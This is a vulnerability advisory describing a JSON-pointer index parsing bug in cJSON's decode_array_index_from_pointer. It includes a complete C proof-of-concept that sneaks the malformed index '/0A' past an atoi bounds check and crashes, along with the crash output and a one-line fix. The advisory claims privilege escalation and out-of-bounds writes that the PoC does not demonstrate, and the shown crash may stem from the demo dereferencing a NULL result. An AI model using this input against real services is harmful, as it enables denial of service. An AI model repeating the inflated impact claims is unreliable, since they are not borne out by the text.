cJSON Array Index Parsing Vulnerability
Table of Contents
#-Summary
A critical vulnerability exists in the cJSON library (cJSON_Utils.c
, function decode_array_index_from_pointer
) that allows attackers to bypass array bounds checks, potentially causing out-of-bounds memory access, segmentation faults, privilege escalation and denial of service, by exploiting improper input validation in JSON pointer parsing.
#-Vulnerability Details
- Component: cJSON (
cJSON_Utils.c
) - Type: Array Index Parsing / Input Validation Bypass
- Impact: Out-of-bounds memory access, segmentation fault, denial of service
The vulnerable code:
for (position = 0; (pointer[position] >= '0') && (pointer[0] <= '9'); position++)
{
parsed_index = (10 * parsed_index) + (size_t)(pointer[position] - '0');
}
The loop incorrectly checks pointer[0]
instead of pointer[position]
, allowing non-digit characters to be processed as part of the array index. For example, input "0A"
is parsed as index 17 (0*10 + ('A'-'0') = 17
), which is out of bounds for a 3-element array.
#-Exploitation
An attacker can craft JSON pointers with malformed indices (e.g., /0A
) to trigger out-of-bounds array access. This may result in reading or writing outside the intended memory region, potentially causing segmentation faults (crashes) or denial of service. Application-level checks using standard integer parsing (e.g., atoi
) can be bypassed, as cJSON will interpret the malformed index differently.
##-Proof of Concept
The following minimal C program demonstrates how a malformed index can cause cJSON to access out-of-bounds memory and potentially segfault:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "cJSON.h"
#include "cJSON_Utils.h"
const char *users_json =
"["
" {\"name\": \"Alice\", \"age\": 30, \"email\": \"alice@example.com\"},"
" {\"name\": \"Bob\", \"age\": 25, \"email\": \"bob@example.com\"},"
" {\"name\": \"Charlie\", \"age\": 28, \"email\": \"charlie@example.com\"}"
"]";
void print_user(const cJSON *user) {
cJSON *name = cJSON_GetObjectItem(user, "name");
cJSON *age = cJSON_GetObjectItem(user, "age");
cJSON *email = cJSON_GetObjectItem(user, "email");
printf("Name: %s\n", name->valuestring);
printf("Age: %d\n", age->valueint);
printf("Email: %s\n", email->valuestring);
}
int main() {
cJSON *users = cJSON_Parse(users_json);
if (!users) {
printf("Failed to parse users database.\n");
return 1;
}
const char *test_indices[] = {"0", "1", "0A"};
int user_count = cJSON_GetArraySize(users);
for (int i = 0; i < 3; ++i) {
char pointer[32];
int idx = atoi(test_indices[i]);
snprintf(pointer, sizeof(pointer), "/%s", test_indices[i]);
printf("\nTrying index: %s\n", test_indices[i]);
if (idx >= 0 && idx < user_count) {
cJSON *user = cJSONUtils_GetPointer(users, pointer);
print_user(user);
} else {
printf("Invalid or out-of-range index.\n");
}
}
cJSON_Delete(users);
return 0;
}
Supplying the index 0A
will cause cJSON to access index 17, which is out of bounds and may result in a segmentation fault (crash).
Output
Trying index: 0
Name: Alice
Age: 30
Email: alice@example.com
Trying index: 1
Name: Bob
Age: 25
Email: bob@example.com
Trying index: 0A
zsh: segmentation fault (core dumped)
##-Affected Use Cases
Any software using cJSON for JSON pointer parsing, including web APIs, embedded/IoT devices, and desktop/server applications. Especially critical in environments where malformed input can be supplied to JSON pointer APIs, as this can be exploited for denial of service.
#-Remediation
Fix:
Change the loop condition to:
for (position = 0; (pointer[position] >= '0') && (pointer[position] <= '9'); position++)